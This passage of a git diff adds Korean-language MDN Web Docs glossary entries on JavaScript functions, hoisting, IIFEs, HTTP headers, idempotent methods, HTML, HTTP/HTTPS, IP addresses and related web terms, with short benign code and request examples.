함수명은 함수 선언문 또는 함수 표현식의 일부로써 선언된 {{Glossary("identifier","식별자")}}이다. 함수 이름의 {{Glossary("scope","범위")}}는 함수 이름의 선언식 또는 표현식인지에 따라 결정된다.

+ +

여러 함수 형식들

+ +

익명 함수는 함수명이 없는 함수이다. 함수 표현식만 익명 일 수 있으며, 함수 선언식에는 반드시 이름이 있어야한다 :

+ +
// When used as a function expression
+(function () {});
+
+// or using the ECMAScript 2015 arrow notation
+() => {};
+ +

이름있는 함수는 함수명을 갖는 함수이다 :

+ +
// Function declaration
+function foo() {};
+
+// Named function expression
+(function bar() {});
+
+// or using the ECMAScript 2015 arrow notation
+const foo = () => {};
+ +

안쪽 함수는 다른함수 내부에서 정의된 함수이다(아래 예에서는 square). 바깥 함수는 함수를 포함하고 있는 함수이다(아래 예에서는 addSquares):

+ +
function addSquares(a,b) {
+   function square(x) {
+      return x * x;
+   }
+   return square(a) + square(b);
+};
+
+//Using ECMAScript 2015 arrow notation
+const addSquares = (a,b) => {
+   const square = x => x*x;
+   return square(a) + square(b);
+};
+ +

재귀호출 함수는 자기 자신을 호출하는 함수이다. {{Glossary("recursion","재귀호출" )}} 참조.

+ +
function loop(x) {
+   if (x >= 10)
+      return;
+   loop(x + 1);
+};
+
+//Using ECMAScript 2015 arrow notation
+const loop = x => {
+   if (x >= 10)
+      return;
+   loop(x + 1);
+};
+ +

즉시 실행 함수 표현 (IIFE)은 브라우저 컴파일러에 함수가 로드된 후 직접 호출되는 함수이다.  IIFE를 식별하는 방법은 함수 선언의 끝에 여분의 왼쪽과 오른쪽 괄호를 두는 것이다. 이런 함수표현식의 형식은 많은 장점을 갖고 있지만 여기서는 일일이 설명하지 않는다.

+ +
// Declared functions can't be called immediately this way
+// Error (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
+/*
+​function foo() {
+    console.log('Hello Foo');
+}();
+*/
+
+// Function expressions, named or anonymous, can be called immediately
+(function foo() {
+    console.log("Hello Foo");
+}());
+
+(function food() {
+    console.log("Hello Food");
+})();
+
+(() => console.log('hello world'))();
+ +

IIFE에 대해 더 많은 설명이 필요하다면 위키피디아의 다음 페이지를 확인 바란다: Immediately Invoked Function Expression

+ +

더 알아보기

+ +

기술적 참조

+ + diff --git a/files/ko/glossary/general_header/index.html b/files/ko/glossary/general_header/index.html new file mode 100644 index 0000000000..0ad3294bd7 --- /dev/null +++ b/files/ko/glossary/general_header/index.html @@ -0,0 +1,11 @@ +--- +title: General 헤더 +slug: Glossary/General_header +tags: + - WebMechanics + - 용어 +translation_of: Glossary/General_header +--- +

General 헤더는 요청 및 응답 메시지 모두에서 사용되지만 컨텐츠 자체에는 적용되지 않는 {{glossary('Header', 'HTTP 헤더')}}입니다. 헤더가 사용되고있는 컨텍스트에따라, general 헤더는 {{glossary("Response header", "response")}} 또는 {{glossary("request header", "request 헤더")}}입니다. 하지만, {{glossary("entity header", "entity 헤더")}}는 아닙니다.

+ +

가장 흔한 general 헤더는 {{HTTPHeader('Date')}}, {{HTTPheader("Cache-Control")}} 및 {{HTTPHeader("Connection")}} 입니다.

diff --git a/files/ko/glossary/gif/index.html b/files/ko/glossary/gif/index.html new file mode 100644 index 0000000000..88b5432f64 --- /dev/null +++ b/files/ko/glossary/gif/index.html @@ -0,0 +1,20 @@ +--- +title: GIF +slug: Glossary/gif +translation_of: Glossary/gif +--- +

GIF (Graphics Interchange Format)는 무손실 압축을 사용하며 애니메이션에 사용되는 이미지 형식이다. GIF는 픽셀 당 최대 8비트를 사용하며 최대 256가지의 색을 24비트 색 공간에서 사용한다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + + + + + +

diff --git a/files/ko/glossary/global_object/index.html b/files/ko/glossary/global_object/index.html new file mode 100644 index 0000000000..f976e6b08d --- /dev/null +++ b/files/ko/glossary/global_object/index.html @@ -0,0 +1,70 @@ +--- +title: 전역 객체 +slug: Glossary/Global_object +tags: + - CodingScripting + - 용어 + - 전역 객체 +translation_of: Glossary/Global_object +--- +

전역 객체 {{glossary("object")}} 는 전역 범위 {{glossary("global scope")}} 에 항상 존재하는 객체를 의미합니다.

+ +

자바스크립트에는 전역 객체로 선언된 객체들이 항상 존재합니다. 웹브라우저에서 스크립트가 전역 변수를 생성할 때, 그것들은 전역 객체의 멤버로서 생성됩니다. (이것은 {{Glossary("Node.js")}} 에서는 예외입니다.) 전역 객체의 {{Glossary("interface")}} 는 스크립트가 실행되고 있는 곳의 실행 컨텍스트에 의존합니다. 예를 들어:

+ + + +

브라우저 에서의 window 객체

+ +

window 객체는 브라우저에서 전역 객체입니다. 어느 전역 객체나 함수는  window 객체의 프로퍼티로서 접근될 수 있습니다.

+ +

전역 변수 접근

+ +
var foo = "foobar";
+foo === window.foo; // Returns: true
+
+ +

전역 객체로 foo 변수를  선언한 뒤, 우리는 foo 변수명을 사용해 전역 객체인 window.foo 의 프로퍼티로  window 객체에서 그것의 값에 직접 접근할 수 있습니다.,

+ +

설명:

+ +

전역 객체 foo 는 window 객체에 아래와 같이 저장됩니다:

+ +
foo: "foobar"
+ +

전역 함수 접근

+ +
function greeting() {
+   console.log("Hi!");
+}
+
+window.greeting(); // It is the same as the normal invoking: greeting();
+
+ +

위의 예는 window 객체의 프로퍼티로서 어떻게 전역 함수가 저장되는지를 보여주고 있습니다 . 우리가 greeting 을 전역 함수로써 호출하면 내부적으로는 window 객체를 사용해 호출됨을 보여주고 있습니다.

+ +

설명:

+ +

전역 함수 greeting 은 아래와 같이 window 객체에 저장됩니다:

+ +
greeting: function greeting() {
+   console.log("Hi!");
+}
+ + diff --git a/files/ko/glossary/google_chrome/index.html b/files/ko/glossary/google_chrome/index.html new file mode 100644 index 0000000000..0203462b15 --- /dev/null +++ b/files/ko/glossary/google_chrome/index.html @@ -0,0 +1,33 @@ +--- +title: Google Chrome +slug: Glossary/Google_Chrome +translation_of: Glossary/Google_Chrome +--- +

구글 크롬(Google Chrome)은 구글이 개발한 무료 웹 {{glossary("browser","브라우저")}}이다. 이는 Chromium 오픈 소스 프로젝트에 기반을 두고 있다 . 몇 가지 주요 차이점은 Chromium wiki에 설명되어 있다. 크롬은 {{glossary("Blink")}}라고 불리는 고유한 레이아웃을 지원한다. 크롬의 iOS 버전은 Blink가 아니라 해당 플랫폼의 웹뷰(WebKit)를 사용한다는 점에 유의해야 한다.

+ +

더 알아보기

+ +

일반적 지식

+ + + +

크롬 사용자들을 위해

+ +

여러분이 일상적인 크롬 사용자라면 다음 중 하나의 링크를 이용해야 한다.

+ + + +

웹 개발자들을 위해

+ +

최신 Chrome 기능을 시도하려면 사전 안정화된 빌드 중 하나를 설치해야 한다. 구글은 업데이트를 자주 하며, 배포된 버전이 안정된 버전과 나란히 실행되도록 설계했다. 새로운 기능에 대해 알아보려면 Chrome 릴리스 블로그를 방문해야 한다.

+ + diff --git a/files/ko/glossary/gpl/index.html b/files/ko/glossary/gpl/index.html new file mode 100644 index 0000000000..fa51e65924 --- /dev/null +++ b/files/ko/glossary/gpl/index.html @@ -0,0 +1,14 @@ +--- +title: GPL +slug: Glossary/GPL +translation_of: Glossary/GPL +--- +

(GNU) GPL (General Public License)은 Free Software Foundation에서 배포하는 copyleft 무료 소프트웨어 라이선스이다. GPL 라이선스 프로그램의 사용자들은 동일한 면허에 따라 프로그램을 재분배(수정 또는 변경되지 않음)할 경우, 사용, 소스 코드 읽기, 수정 및 변경사항 재분배할 수 있는 자유가 부여된다.

+ +

더 알아보기

+ + diff --git a/files/ko/glossary/gpu/index.html b/files/ko/glossary/gpu/index.html new file mode 100644 index 0000000000..96582765c9 --- /dev/null +++ b/files/ko/glossary/gpu/index.html @@ -0,0 +1,6 @@ +--- +title: GPU +slug: Glossary/GPU +translation_of: Glossary/GPU +--- +

GPU(Graphics Processing Unit)는 CPU(중앙 처리 장치)와 유사한 컴퓨터 부품이다. 이것은 당신의 모니터에 그래픽(2D와 3D 모두)을 그리는 것을 전문으로 한다.

diff --git a/files/ko/glossary/graceful_degradation/index.html b/files/ko/glossary/graceful_degradation/index.html new file mode 100644 index 0000000000..31303a2431 --- /dev/null +++ b/files/ko/glossary/graceful_degradation/index.html @@ -0,0 +1,36 @@ +--- +title: 단계적 기능 축소 +slug: Glossary/Graceful_degradation +tags: + - 단계적 기능 축소 + - 우아한 낮춤 +translation_of: Glossary/Graceful_degradation +--- +

단계적 기능 축소는 최신 브라우저에서 동작하는 웹 사이트 / 응용 프로그램 구축에 주력하는 설계 철학이다. 그러나 오래된 브라우저에서는 비록 좋지 않은 경험이라 할 지라도 필수 콘텐츠와 기능을 여전히 제공한다.

+ +

자바스크립트 {{Glossary("Polyfill","폴리필")}}을 이용하면 누락한 기능을 구현할 수 있지만 스타일과 레이아웃 같은 특징으로 대체할 수 있다면 CSS 종속 또는 HTML 폴백을 이용하는 편이 좋다. 일반적인 HTML과 CSS 문제 다루기에서 좋은 예제를 찾을 수 있다.

+ +

알려지지 않은 다양한 사용자 에이전트가 웹 사이트에 접근할 때 웹 개발자가 최상의 웹 사이트를 개발하도록 집중할 수 있는 유용한 기법이다. {{Glossary("Progressive enhancement", "점진적 향상")}}은 관련이 있지만 다르다. 종종 단계적 기능 축소와 반대인 것처럼 보인다. 실제로 두 접근법은 유효하고 서로를 보완할 수 있다.

+ +

더 배우기

+ +

일반 지식

+ + + + diff --git a/files/ko/glossary/head/index.html b/files/ko/glossary/head/index.html new file mode 100644 index 0000000000..c31630b995 --- /dev/null +++ b/files/ko/glossary/head/index.html @@ -0,0 +1,15 @@ +--- +title: Head +slug: Glossary/Head +translation_of: Glossary/Head +--- +

Head 란 {{glossary("HTML")}} 문서의 일부분으로써 해당 문서의 {{glossary("metadata")}} 를 포함하는데, 예를 들면 저자, 설명, 그리고 HTML에 적용될 수 있는 {{glossary("CSS")}} 또는 {{glossary("JavaScript")}} 파일들로 연결되는 것들이 이에 해당될 수 있다.

+ +

더 알아보기

+ +

HTML head

+ + diff --git a/files/ko/glossary/header/index.html b/files/ko/glossary/header/index.html new file mode 100644 index 0000000000..30a1051acf --- /dev/null +++ b/files/ko/glossary/header/index.html @@ -0,0 +1,61 @@ +--- +title: 헤더 +slug: Glossary/Header +tags: + - WebMechanics + - 용어 +translation_of: Glossary/HTTP_header +--- +

HTTP 헤더는 부가적인 정보를 전달하는 HTTP 요청 또는 응답 필드로, 메시지나 바디의 의미를 변경하거나 미리 조정합니다. 헤더는 대소문자를 구별하지 않으며, 줄의 처음에서 시작하여 바로 다음에 ':'과 헤더에 해당하는 값이 따라옵니다. 값은 다음 CR 또는 메시지의 마지막에서 끝납니다.

+ +

더 이상 어떠한 명세에도 포함되어 있지 않지만, 전통적으로, 헤더는 카테고리로 분류됩니다.

+ + + +

하나의 헤더를 갖는 기본 요청:

+ +
GET /example.http HTTP/1.1
+Host: example.com
+
+ +

리다이렉트는 필수 헤더를 갖습니다({{HTTPHeader("Location")}}):

+ +
302 Found
+Location: /NewPage.html
+
+ +

대표적인 헤더의 집합:

+ +
304 Not Modified
+Access-Control-Allow-Origin: *
+Age: 2318192
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Server: Apache
+Vary: Accept-Encoding
+Via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)
+X-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==
+X-Backend-Server: developer6.webapp.scl3.mozilla.com
+X-Cache: Hit from cloudfront
+X-Cache-Info: cached
+
+ +

더 알아보기

+ +

일반 지식

+ + + +

기술적 지식

+ + diff --git a/files/ko/glossary/hoisting/index.html b/files/ko/glossary/hoisting/index.html new file mode 100644 index 0000000000..dfadd7361e --- /dev/null +++ b/files/ko/glossary/hoisting/index.html @@ -0,0 +1,73 @@ +--- +title: Hoisting +slug: Glossary/Hoisting +tags: + - CodingScripting + - Glossary + - JavaScript +translation_of: Glossary/Hoisting +--- +

호이스팅(hoisting)은 ECMAScript® 2015 언어 명세 및 그 이전 표준 명세에서 사용된 적이 없는 용어입니다. 호이스팅은 JavaScript에서 실행 콘텍스트(특히 생성 및 실행 단계)가 어떻게 동작하는가에 대한 일반적인 생각으로 여겨집니다. 하지만 호이스팅은 오해로 이어질 수 있습니다.

+ +

예를 들어, 호이스팅을 변수 및 함수 선언이 물리적으로 작성한 코드의 상단으로 옮겨지는 것으로 가르치지만, 실제로는 그렇지 않습니다. 변수 및 함수 선언은 컴파일 단계에서 메모리에 저장되지만, 코드에서 입력한 위치와 정확히 일치한 곳에 있습니다.

+ +

Learn more

+ +

기술 예제

+ +

JavaScript가 어떤 코드 구분을 실행하기 전에 함수 선언을 메모리에 저장하는 방식의 장점 중 하나는 코드에서 선언하기 전에 함수를 사용할 수 있다는 것입니다. 예를 들어:

+ +
function catName(name) {
+  console.log("My cat's name is " + name);
+}
+
+catName("Tigger");
+/*
+위 코드의 결과는: "My cat's name is Tigger"
+*/
+ +

위 코드 스니펫은 통상적으로 작동하는 코드를 작성하는 법에 관해 기술합니다. 이제, 함수를 작성하기 전에 함수를 호출하면 어떤 일이 있는지 살펴봅시다:

+ +
catName("Chloe");
+
+function catName(name) {
+  console.log("My cat's name is " + name);
+}
+/*
+위 코드의 결과는: "My cat's name is Chloe"
+*/
+ +

비록 함수를 작성하기 전에 함수를 호출하였지만, 코드는 여전히 동작합니다. 이는 JavaScript에서 컨텍스트 실행이 작동하는 방식 때문입니다.

+ +

Hoisting은 다른 데이터 타입 및 변수와도 잘 작동합니다. 변수는 선언하기 전에 초기화하여 사용될 수 있습니다. 그러나 초기화 없이는 사용할 수 없습니다.

+ +

기술 예제

+ +
num = 6;
+num + 7;
+var num;
+/* num이 선언되지 않더라도 에러를 내지 않습니다 */
+
+
+ +

JavaScript는 초기화가 아닌 선언만 끌어올립니다(hoist). 만약 변수를 선언한 뒤 나중에 초기화시켜 사용한다면, 그 값은 undefined로 지정됩니다. 아래 두 예제는 같은 동작을 보여줍니다.

+ +
var x = 1; // x 초기화
+console.log(x + " " + y); // '1 undefined'
+var y = 2;
+
+
+// 아래 코드는 이전 코드와 같은 방식으로 동작합니다.
+var x = 1; // Initialize x
+var y; // Declare y
+console.log(x + " " + y); // '1 undefined'
+y = 2; // Initialize y
+
+ +

기술 레퍼런스

+ + diff --git a/files/ko/glossary/html/index.html b/files/ko/glossary/html/index.html new file mode 100644 index 0000000000..a4c3ec1e8f --- /dev/null +++ b/files/ko/glossary/html/index.html @@ -0,0 +1,50 @@ +--- +title: HTML +slug: Glossary/HTML +tags: + - CodingScripting + - Glossary + - HTML + - 'l10n:priority' +translation_of: Glossary/HTML +--- +

{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ HTML(Hypertext Markup Language)은 웹페이지의 구조를 지정하는 기술적인 언어입니다.

+ +

간략한 역사

+ +

1990년, 팀 버너스리는 {{glossary("World Wide Web","Web")}}의 비전 중 하나로서 {{glossary("hypertext", "하이퍼텍스트")}}라는 개념을 정의하고, 그 이듬해에 {{glossary("SGML")}}에 기초한 마크업을 통해 구체화했습니다. {{glossary("IETF")}}는 1993년에 HTML을 공식 지정했으며, 1995년 몇 차례 초안을 거쳐 2.0 버전을 발표했습니다. 1994년, 팀 버너스리는 웹의 발전을 위해 {{glossary("W3C")}}를 설립했습니다. W3C는 1996년부터 HTML 작업을 시작하고, 1년 후 HTML 3.2 권고안을 발표했습니다. HTML 4.0은 1999년에 발표됐으며 2000년에 {{glossary("ISO")}} 표준이 됐습니다.

+ +

이 때, W3C는 HTML을 버리고 {{glossary("XHTML")}}을 채택하려 했습니다. 이 움직임은, 2004년, {{glossary("WHATWG")}}라는 독립 단체가 만들어지는 계기가 됩니다. WHATWG 덕분에 {{glossary("HTML5")}} 작업이 계속 됐고, 두 단체는 2008년 첫 초안을, 2014년 최종 표준안을 발표합니다.

+ +

개념과 문법

+ +

HTML 문서는 {{glossary("element","요소")}}로 구조화한 일반 텍스트 문서입니다. 요소는 한 쌍의 {{Glossary("tag","태그")}}로 열고 닫으며, 각각의 태그는 부등호(<>)로 감쌉니다. {{htmlelement("img")}}처럼 텍스트를 감싸지 못하는 "빈 태그"도 있습니다.

+ +

HTML 태그는 {{Glossary("attribute","특성")}}을 사용해 확장할 수 있고, 브라우저가 요소를 읽어들일 때 추가 정보를 제공합니다.

+ +

Detail of the structure of an HTML element

+ +

HTML은 보통 .htm이나 .html 확장자로 저장해 {{glossary("server", "웹 서버")}}로 제공하며, 아무 {{glossary("browser", "브라우저")}}로 렌더링할 수 있습니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

HTML 배우기

+ + + +

기술 참조서

+ + diff --git a/files/ko/glossary/http/index.html b/files/ko/glossary/http/index.html new file mode 100644 index 0000000000..da42fc87be --- /dev/null +++ b/files/ko/glossary/http/index.html @@ -0,0 +1,19 @@ +--- +title: HTTP +slug: Glossary/HTTP +translation_of: Glossary/HTTP +--- +

The HyperText Transfer Protocol (HTTP) 는 기본적으로 하이퍼미디어 문서를 전송하는 네트워크 {{glossary("프로토콜")}} 입니다. 사람들이 읽을 수 있도록 브라우저와 서버 사이에 존재하죠. 현재 버전의 HTTP 규격은 HTTP/2입니다.

+ +

{{glossary("URI")}}의 일부로, "http://" 는 "schema" 라고도 불리며, 일반적으로 주소의 시작 부분에 위치합니다. 일례로 "https://developer.mozilla.org" 라는 주소는 HTTP 프로토콜을 사용하여 문서를 요청하도록 브라우저에 명시한다는 것을 의미합니다. 이 경우 https는 HTTP 프로토콜의 보안 버전인 {{glossary("SSL")}} 를 나타냅니다 (TLS라고도 부르죠).

+ +

HTTP 텍스트 기반 (모든 통신은 일반 텍스트로 수행됩니다) 이며 stateless (이전의 통신을 인식하지 않습니다) 입니다. 이 속성은 www 상에서 인간이 문서(웹 사이트) 를 읽는 것을 이상적으로 수행할 수 있도록 합니다. 그뿐만 아니라,  HTTP 는 서버 간 웹 서비스 {{glossary("REST")}} 또는 웹 사이트 내의 요청 {{glossary("AJAX")}} 에 대한 기초로도 사용할 수 있습니다.

+ +
+

더 알아보기

+ + +
diff --git a/files/ko/glossary/http_2/index.html b/files/ko/glossary/http_2/index.html new file mode 100644 index 0000000000..e873bd11c2 --- /dev/null +++ b/files/ko/glossary/http_2/index.html @@ -0,0 +1,25 @@ +--- +title: HTTP/2 +slug: Glossary/HTTP_2 +translation_of: Glossary/HTTP_2 +--- +

HTTP/2 는 HTTP 네트워크 프로토콜의 메인 개정판입니다. HTTP/2의 주요 목표는  "지연 시간"을 감소시키는 것입니다. 전체 요청과 응답 멀티플렉싱을 가능하게 하여 HTTP 헤더 필드를 효율적으로 압축함으로써 프로토콜 오버헤드를 최소화하고, 요청에 대한 우선 순위를 결정하며 서버 푸시 지원을 추가하는 과정을 통해서요.

+ +

HTTP/2는 HTTP의 어플리케이션 의미를 수정하지 않습니다. HTTP 메소드, 상태 코드, URI, 헤더 필드와 같은 HTTP 1.1의 핵심 개념은 그대로 유지됩니다. 대신, HTTP/2는 전체 프로세스를 관리하는 두 가지 방식, 데이터의 포맷(프레임) 방식과 클라이언트-서버 사이의 전송 방식을 수정하여 새로운 프레임 계층 내에서 어플리케이션 복잡성을 숨깁니다. 그 결과, 기존의 모든 어플리케이션은 수정 과정을 거치지 않고 전달될 수 있습니다. 

+ + diff --git a/files/ko/glossary/https/index.html b/files/ko/glossary/https/index.html new file mode 100644 index 0000000000..18a9070ab6 --- /dev/null +++ b/files/ko/glossary/https/index.html @@ -0,0 +1,17 @@ +--- +title: HTTPS +slug: Glossary/https +tags: + - HTTPS +translation_of: Glossary/https +--- +

HTTPS (HTTP Secure) 는 {{Glossary("HTTP")}} protocol의 암호화된 버전이다. 이것은 대개 클라이언트와 서버 간의 모든 커뮤니케이션을 암호화 하기 위하여 {{Glossary("SSL")}} 이나 {{Glossary("TLS")}}을 사용한다. 이 커넥션은 클라이언트가 민감한 정보를 서버와 안전하게 주고받도록 해준다. 예를들면 금융 활동 이나 온라인 쇼핑이 있을 수 있다.

+ +

Learn more

+ +

General knowledge

+ + diff --git a/files/ko/glossary/idempotent/index.html b/files/ko/glossary/idempotent/index.html new file mode 100644 index 0000000000..861797d903 --- /dev/null +++ b/files/ko/glossary/idempotent/index.html @@ -0,0 +1,49 @@ +--- +title: 멱등성 +slug: Glossary/Idempotent +tags: + - Glossary + - WebMechanics +translation_of: Glossary/Idempotent +--- +

동일한 요청을 한 번 보내는 것과 여러 번 연속으로 보내는 것이 같은 효과를 지니고, 서버의 상태도 동일하게 남을 때, 해당 HTTP 메서드가 멱등성을 가졌다고 말합니다. 다른 말로는, 멱등성 메서드에는 통계 기록 등을 제외하면 어떠한 부수 효과(side effect)도 존재해서는 안됩니다. 올바르게 구현한 경우 {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}} 메서드는 멱등성을 가지며, {{HTTPMethod("POST")}} 메서드는 그렇지 않습니다. 모든 {{glossary("safe", "안전한")}} 메서드는 멱등성도 가집니다.

+ +

멱등성을 따질 땐 실제 서버의 백엔드 상태만 보면 되며, 각 요청에서 반환하는 응답 코드는 다를 수 있습니다. 첫 번째 {{HTTPMethod("DELETE")}} 요청이 {{HTTPStatus("200")}}을 반환한다면, 그 이후는 아마 {{HTTPStatus("404")}}를 반환할 것입니다. DELETE가 멱등성을 가진다는 것은, REST API에서 개발자는 DELETE 메서드를 사용해 "목록의 마지막 항목 제거" 기능을 구현해서는 안된다는 것입니다.

+ +

다만, 서버는 멱등성을 보장하지 않으며, 일부 애플리케이션은 잘못된 구현으로 멱등성 제약을 어길 수도 있습니다.

+ +

GET /pageX HTTP/1.1는 멱등성을 가집니다. 여러 번 연속해서 호출해도 클라이언트가 받는 응답은 동일합니다.

+ +
GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+
+ +

POST /add_row HTTP/1.1는 멱등성을 갖지 않습니다. 여러 번 호출할 경우, 여러 열을 추가합니다.

+ +
POST /add_row HTTP/1.1
+POST /add_row HTTP/1.1   -> Adds a 2nd row
+POST /add_row HTTP/1.1   -> Adds a 3rd row
+
+ +

DELETE /idX/delete HTTP/1.1의 상태 코드는 응답마다 달라질 수 있지만, 그럼에도 멱등성을 가집니다.

+ +
DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
+DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
+DELETE /idX/delete HTTP/1.1   -> Returns 404
+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 지식

+ + diff --git a/files/ko/glossary/iife/index.html b/files/ko/glossary/iife/index.html new file mode 100644 index 0000000000..c9ccc8be4b --- /dev/null +++ b/files/ko/glossary/iife/index.html @@ -0,0 +1,59 @@ +--- +title: IIFE +slug: Glossary/IIFE +tags: + - 디자인패턴 + - 자바스크립트 + - 즉시실행함수 +translation_of: Glossary/IIFE +--- +

즉시 실행 함수 표현(IIFE, Immediately Invoked Function Expression)은 정의되자마자 즉시 실행되는 {{glossary("Javascript")}} {{glossary("Function")}} 를 말한다.

+ +
(function () {
+    statements
+})();
+ +

이는 {{glossary("Self-Executing Anonymous Function")}} 으로 알려진 디자인 패턴이고 크게 두 부분으로 구성된다. 첫 번째는 괄호((), Grouping Operator)로 둘러싸인 익명함수(Anonymous Function)이다. 이는 전역 스코프에 불필요한 변수를 추가해서 오염시키는 것을 방지할 수 있을 뿐 아니라 IIFE 내부안으로 다른 변수들이 접근하는 것을 막을 수 있는 방법이다.

+ +

두 번째 부분은 즉시 실행 함수를 생성하는 괄호()이다. 이를 통해 자바스크립트 엔진은 함수를 즉시 해석해서 실행한다.

+ +

예제

+ +

아래 함수는 즉시 실행되는 함수 표현이다. 표현 내부의 변수는 외부로부터의 접근이 불가능하다.

+ +
(function () {
+    var aName = "Barry";
+})();
+// IIFE 내부에서 정의된 변수는 외부 범위에서 접근이 불가능하다.
+aName // throws "Uncaught ReferenceError: aName is not defined"
+
+ +

IIFE를 변수에 할당하면 IIFE 자체는 저장되지 않고, 함수가 실행된 결과만 저장된다.

+ +
var result = (function () {
+    var name = "Barry";
+    return name;
+})();
+// 즉시 결과를 생성한다.
+result; // "Barry"
+ + diff --git a/files/ko/glossary/index.html b/files/ko/glossary/index.html new file mode 100644 index 0000000000..bf00206eda --- /dev/null +++ b/files/ko/glossary/index.html @@ -0,0 +1,39 @@ +--- +title: 용어 사전 +slug: Glossary +tags: + - Beginner + - Definitions + - Glossary + - Index + - Landing + - Terminology + - 사전 + - 용어 +translation_of: Glossary +--- +

웹 기술은 문서화 및 코딩에 쓰이는 전문 용어와 약어 목록을 포함합니다. 이 용어 사전은 웹을 성공적으로 이해하고 구축하기 위해 알아야 할 단어와 약자의 정의를 제공합니다.

+ +

용어 사전

+ +

{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}

+ +

용어 사전에 기여하기

+ +

용어 사전은 끝없이 진행 중인 작업입니다. 여러분은 새 항목을 작성하거나 기존 항목의 개선을 도울 수 있습니다. 가장 쉬운 시작법은 다음 버튼을 누르거나 아래에 제안된 용어 중 하나를 고르는 겁니다.

+ +

용어 사전에 새 항목 추가하기

+ +

{{GlossaryList({"terms":[], "filter":"notdefined", "css":"multiColumnList"})}}

+ +

혹시 용어 사전에 기여하는 법에 관해 더 알고 싶다면, 용어 사전 문서화 상태 페이지를 확인하세요.

+ + diff --git a/files/ko/glossary/index/index.html b/files/ko/glossary/index/index.html new file mode 100644 index 0000000000..f7edc11916 --- /dev/null +++ b/files/ko/glossary/index/index.html @@ -0,0 +1,11 @@ +--- +title: Index +slug: Glossary/Index +tags: + - Glossary + - Index + - MDN Meta + - Navigation +translation_of: Glossary/Index +--- +

{{Index("/ko/docs/Glossary")}}

diff --git a/files/ko/glossary/internet/index.html b/files/ko/glossary/internet/index.html new file mode 100644 index 0000000000..9eb58f6a0a --- /dev/null +++ b/files/ko/glossary/internet/index.html @@ -0,0 +1,16 @@ +--- +title: Internet +slug: Glossary/Internet +translation_of: Glossary/Internet +--- +

The Internet is a worldwide network of networks that uses the Internet protocol suite (also named {{glossary("TCP")}}/{{glossary("IPv6","IP")}} from its two most important {{glossary("protocol","protocols")}}).

+ +

인터넷은 인터넷 프로토콜 제품군(두 가지 가장 중요한 프로토콜에서 이름을 딴  {{glossary("TCP")}} // {{glossary("IPv6","IP")}}라고도 함)을 사용하는 세계적인 네트워크이다.

+ +

더 알아보기

+ +

이것에 대해 알아보기

+ + diff --git a/files/ko/glossary/ip_address/index.html b/files/ko/glossary/ip_address/index.html new file mode 100644 index 0000000000..01995fbae3 --- /dev/null +++ b/files/ko/glossary/ip_address/index.html @@ -0,0 +1,16 @@ +--- +title: IP Address +slug: Glossary/IP_Address +translation_of: Glossary/IP_Address +--- +

IP 주소는 인터넷 프로토콜을 사용하는 네트워크에 연결된 모든 장치에 할당된 번호다.

+ +

"IP address"는 IPv6이 보다 광범위하게 배포될 때까지 여전히 32비트 IPv4 주소를 가리킨다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/ipv4/index.html b/files/ko/glossary/ipv4/index.html new file mode 100644 index 0000000000..9e5fe690fd --- /dev/null +++ b/files/ko/glossary/ipv4/index.html @@ -0,0 +1,14 @@ +--- +title: IPv4 +slug: Glossary/IPv4 +translation_of: Glossary/IPv4 +--- +

IPv4는 {{glossary("Internet", "인터넷")}}기반 통신 {{Glossary("protocol", "프로토콜")}}의 네 번째 버전이며, 널리 보급된 첫 번째 버전이다.

+ +

1981년에 처음 공식화된 IPv4는 ARPAnet의 초기 개발 작업에 그 뿌리를 두고 있다. IPv4는 패킷 교환 링크 계층 네트워크(ethernet)에서 사용되는 무연결 프로토콜이다. {{glossary("IPv6")}}은 IPv4의 보안 문제 및 주소 필드의 제한 때문에 IPv4를 점진적으로 대체하고 있다.(버전 번호 5는 1979년에 실험적인 인터넷 스트림 프로토콜에 할당되었는데, IPv5라고 불린 적은 없다.)

+ +

더 알아보기

+ +

일반적인 지식

+ +

Wikipedia의 {{interwiki("wikipedia", "IPv4", "IPv4")}} 

diff --git a/files/ko/glossary/ipv6/index.html b/files/ko/glossary/ipv6/index.html new file mode 100644 index 0000000000..2011eee9c1 --- /dev/null +++ b/files/ko/glossary/ipv6/index.html @@ -0,0 +1,14 @@ +--- +title: IPv6 +slug: Glossary/IPv6 +translation_of: Glossary/IPv6 +--- +

IPv6 은 {{glossary("Internet", "인터넷")}} 기반 통신 {{glossary("protocol", "프로토콜")}}의 최신 버전이다. IPv6는 많은 다른 {{Glossary("IP address","IP 주소")}}를 허용하기 때문에 천천히 {{Glossary("IPv4")}}를 대체하고 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/java/index.html b/files/ko/glossary/java/index.html new file mode 100644 index 0000000000..efb9f1a3f7 --- /dev/null +++ b/files/ko/glossary/java/index.html @@ -0,0 +1,20 @@ +--- +title: Java +slug: Glossary/Java +translation_of: Glossary/Java +--- +

Java는 {{glossary("Compile", "컴파일")}}이 되고, {{glossary("OOP", "객체 지향적")}}이며, 휴대성이 높은 {{Glossary("computer programming", "프로그래밍")}} 언어이다.

+ +

자바는 정적으로 타이핑되며 C와 유사한 구문을 가지고 있다. 이는 쉽게 사용 가능한 기능이 있는 대형 라이브러리인 Java Software Development Kit와 함께 제공된다.

+ +

